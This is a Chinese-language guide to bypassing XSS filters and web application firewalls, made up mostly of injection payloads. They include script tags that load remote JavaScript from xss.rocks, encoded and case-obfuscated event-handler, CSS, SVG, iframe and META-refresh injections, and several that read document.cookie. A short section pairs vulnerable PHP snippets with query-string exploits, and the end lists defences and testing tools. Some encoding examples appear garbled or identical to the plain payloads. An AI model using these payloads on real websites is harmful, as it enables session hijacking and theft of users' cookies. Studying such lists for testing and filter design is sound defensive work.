如何绕过XSS防护
字数 1116 2025-08-15 21:31:34
跨站脚本(XSS)攻击绕过技术全面指南
XSS攻击基础原理
XSS(跨站脚本)攻击是指攻击者向有漏洞的网站注入恶意HTML/JavaScript代码,当用户浏览该页面时,这些代码会自动执行,从而达到攻击目的。
XSS攻击类型
- 反射型XSS:恶意脚本作为请求的一部分发送到服务器,服务器未过滤直接返回给客户端执行
- 存储型XSS:恶意脚本被永久存储在目标服务器上,每次用户访问都会执行
- DOM型XSS:通过修改页面的DOM环境在客户端直接执行,不经过服务器
基础XSS注入方式
基本JavaScript注入
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
通用有效载荷
javascript:/*--></title></style></textarea></script></xmp><svg/οnlοad='+/"/+/οnmοuseοver=1/alert(1)//'>
绕过过滤技术
1. 大小写混淆
<IMG SRC=JaVaScRiPt:alert('XSS')>
2. 省略引号和分号
<IMG SRC=javascript:alert('XSS')>
3. 使用反引号
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
4. 畸形标签构造
<a οnmοuseοver="alert(document.cookie)">xxs link</a>
<a οnmοuseοver=alert(document.cookie)>xxs link</a>
5. 编码技术
HTML实体编码:
<IMG SRC=javascript:alert("XSS")>
十进制编码:
<IMG SRC=javascript:alert('XSS')>
十六进制编码:
<IMG SRC=javascript:alert('XSS')>
6. 嵌入特殊字符
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
7. 使用fromCharCode
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
高级绕过技术
1. 事件处理器
<BODY onload!alert("XSS")>
<BODY ONLOAD=alert('XSS')>
2. CSS注入
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE>
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
3. SVG注入
<svg/οnlοad=alert('XSS')>
4. 协议混淆
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
5. iframe注入
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IFRAME SRC=# οnmοuseοver="alert(document.cookie)"></IFRAME>
6. 编码混淆
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT>
7. 分块注入
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>
WAF绕过技术
1. 存储型XSS绕过
<script>... setTimeout(\"writetitle()\",$_GET[xss]script>
利用:/?xss=500); alert(document.cookie);//
2. DOM型XSS绕过
<script>... eval($_GET[xss]script>
利用:/?xss=document.cookie
3. 重定向XSS
header('Location: '.$_GET['param']);
利用:/?param=javascript:alert(document.cookie)
或:/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
4. 常见WAF绕过字符串
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
防御建议
- 输入验证:对所有输入数据进行严格验证
- 输出编码:在输出数据到页面时进行适当的编码
- 内容安全策略(CSP):实施严格的内容安全策略
- HTTP-only Cookie:设置敏感cookie为HTTP-only
- X-XSS-Protection头:启用浏览器内置的XSS过滤器
- 框架沙箱:使用sandbox属性限制iframe功能
测试工具
- OWASP CAL9000:综合性Web安全测试工具集
- HackVertor:高级字符串编码转换工具
- OWASP WebScarab:HTTP/HTTPS通信分析框架
- XSS-Proxy:高级XSS攻击工具
- Burp Suite:交互式HTTP/S代理测试工具
- OWASP ZAP:集成渗透测试工具
- Xenotix XSS Exploit Framework:包含1600+有效载荷的XSS测试框架
通过理解这些技术,安全专业人员可以更好地测试和加固Web应用程序,防止XSS攻击。